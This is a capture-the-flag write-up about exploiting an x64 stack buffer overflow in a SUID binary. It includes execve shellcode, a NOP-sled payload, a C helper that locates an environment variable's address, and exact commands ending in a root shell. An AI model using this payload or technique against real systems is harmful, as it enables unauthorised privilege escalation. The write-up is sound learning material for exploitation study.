Skip to main content

Jump to Environment Variable (x64 Buffer Overlow)

·7 mins

Intro, Basic Overflow and Offsets #

During a CTF I was required to exploit a buffer overflow in a binary that elevated it’s privileges to root. The main goal was to utilise this functionality and pop a shell, inheriting the root context that the binary was granted.

I won’t go into detail about fuzzing and finding a buffer overflow vulnerability within a target binary, there are many resources online that do a brilliant job at already explaining this. I will briefly run through the key stages of building the exploit and working around an issue I came across when attempting to exploit a binary that would ultimately SUID/GUID me into a root shell.

Once I had a working crash, the offset to take control of EIP can be found. This is done by using a unique string of characters, identifying which characters are in the ’next instruction’ address when it crashes and seg faults. I then replace those with an easy to see string (i.e 0xdeadbeef, BBBBBBB, etc) to help sanity check and makes it easier to visually confirm.

For refence, offsets can be found with pattern making tools such as Metasploit’s pattern_create.rb, pattern_offset.rb or PEDA’s pattern feature.

"A"*88 + "BBBBBB"

For this instance, I had about 80 bytes of data within the junk buffer that I could use. Thankfully, NX (No-eXecute) was not enabled within this binary, and the target system did not have ASLR enabled (friendly CTFs, yay) so I didn’t need to worry about dropping shellcode directly into the buffer, I knew it would run if I asked it too. (For the curious, if NX or ASLR were enabled, I would likely have to try leak an address at run time, use some existing code like gadgets and libc, and manipulate the program using our payload to use these to pop our shell. Google Ret2Libc for intel payload examples). The shellcode was pretty small, at just 27 bytes, and was placed in the payload.

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

The current payload, with shellcode added:

"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*(88-27) + "BBBBBB"

As a habit, I tend to add a little NOP sled infront of shellcode I intend to run, assuming I have buffer space. In this case. I did.

"\x90" * 8 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*(88-27-8) + "BBBBBB"

The next step was to figure out how I was going to jump into this shellcode. Again, with no ASLR or NX stopping me, I could now replaced the previously calculated offset with the address of my NOP sled. Running the binary in GDB with my new payload, I was able to pop a shell… but there was no root context. I believe this was because the Linux kernel prevents GDB debugging root context processes with functions such as ptrace (etc). If it did, anyone could just debug a higher context process and drop a root shell!

Now I had a working payload, I ran the same exploit outside of GDB… but there was no shell, sadness.

GDB Environment Variables and Memory Allocation #

So this is where some personal learning came in to play for me. I had a payload that works nicely in GDB but without it, it breaks. According to Google, GDB has a bunch of environment variables that can mess with the memory layout, which means it changes my previously identified addresses. Not as much as ASLR, but still prevents a direct jump to my shell code. So right now, the payload is jumping into garbage (probably) and crashing.

A quick chatgpt ask gave me a bunch of Linux environment variables that can be used by GDB. I asked it to remove all the noise and just state whether or not it would affect the memory layout. This is what it gave me:

  • LD_PRELOAD (will affect memory layout if used)
  • LD_LIBRARY_PATH (may affect memory layout)
  • GDB_PYTHON_PATH (does not affect memory layout)
  • SHELL (does not affect memory layout)
  • TERM (does not affect memory layout)
  • GDBSTUB (does not affect memory layout)
  • PAGER (does not affect memory layout)
  • COLUMNS and LINES (does not affect memory layout)
  • GDBSERVER (does not affect memory layout)
  • DEBUGINFOD_URLS (does not affect memory layout)
  • LANG or LC_ALL (does not affect memory layout)
  • GDB_TUI (does not affect memory layout)
  • LD_DEBUG (may affect memory layout)
  • PATH (does not affect memory layout)
  • HOME (does not affect memory layout)
  • PWD (does not affect memory layout)

As this is a pretty big list, I found that you can also look specifically at the ones that affect GDB in the current instance. To do this, run:

(gdb) show environment

Jumping to Environment Variables #

An option I came across whilst Googling and attempting to even try and calculate the memory offsets and address manipulation it might have done. I could simply export my payload into an environment variable and then write a little snippet that would dump all the current environment variables and calculate their memory address relative to the name of the target binary. This target binary was of course the binary I wanted to exploit. Up to now, I hadn’t really done to much of this so much of it was Google and guess work.

A rough estimate of memory layout when running a binary could look something like this:

Memory Address | Data ---------------|-------------------------
0x7fffffffe7a0 | "/tmp/dumpenv" (argv[0])
0x7fffffffe7b8 | "SHELLCODE" (argv[1]) 
<snipped>      | <snipped>
0x7fffffffe800 | "SHELLCODE=a0a1a2a3a4" (environment variable SHELLCODE)

I now wrote a little something in C that will calculate the target environment variable location, but with relation to our target binary name, which will be an argument. With the above rough visual representation I can (sort of) predict the layout and calculate the offset with some assumptions.

  • Get environment variable address
  • Calculate the difference between the current binary name length, and the target binary string length. Multiply this by 2 to cater for memory padding, 2 or 4 byte alignments (assumption made here).
  • Add this offset to the current variable position in memory and print the address.

With the above requirements, the snippet in C looks like:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]) 
{
	// simple sanity check to ensure correct usage
	if (argc < 3) 
	{ 
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]); 
		exit(0); 
	} 
	
	// get target env var location
	char *ptr = getenv(argv[1]);

	// adjust for target binary name.
	// Calculate the difference between current binary name and target binary name
	// multiply by 2 based on assumptions of memory padding/alignment
	ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

	printf("Variable '%s' will be at address: %p\n", argv[1], ptr); 
}

Next steps:

  • Compile above binary
┌──(kali㉿kali)-[~]
└─$ gcc dumpenv.c -o dumpenv && chmod +x dumpenv
  • Export current payload into environment variable (SHELLCODE)
┌──(kali㉿kali)-[~]
└─$ export SHELLCODE=$(python2 -c 'print "\x90"*8 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"')

Running the compiled binary gave me the calculated memory address of the environment variable required. An example of what this looked like on my local machine was:

┌──(kali㉿kali)-[~]
└─$ ./dumpenv SHELLCODE pwnme                                    
Variable 'SHELLCODE' will be at address: 0x7fffffffef9c

This was added into the payload (backwards, to work with little endian) and the shell was mine! In this case, I would add:

\x9c\xef\xff\xff\xff\x7f

The final payload now consisted of 2 things. A buffer of junk, in this case, NOPs, followed by the address to the shell code stored in the environment variable. This now looked like the following:

"\x90"*88 + "\x9c\xef\xff\xff\xff\x7f"

With the final execution, the exploit and root privilege escalation looked like:

┌──(kali㉿kali)-[~]
└─$ id      
uid=1000(kali) gid=1000(kali) groups=1000(kali)<snipped>

┌──(kali㉿kali)-[~]
└─$ ./pwnme $(python2 -c 'print "\x90"*88 + "\x9c\xef\xff\xff\xff\x7f"')
# id
uid=0(root) gid=1000(kali) groups=1000(kali)<snipped>

So what did I learn?

  • GDB makes you feel like you kind of know what you’re doing… for 1 whole instruction.
  • Helped update and confirm my ‘ish’ knowledge of memory layout for target binaries.
  • It’s possible to use environment variables to store shellcode and calculate an address to use within our payloads.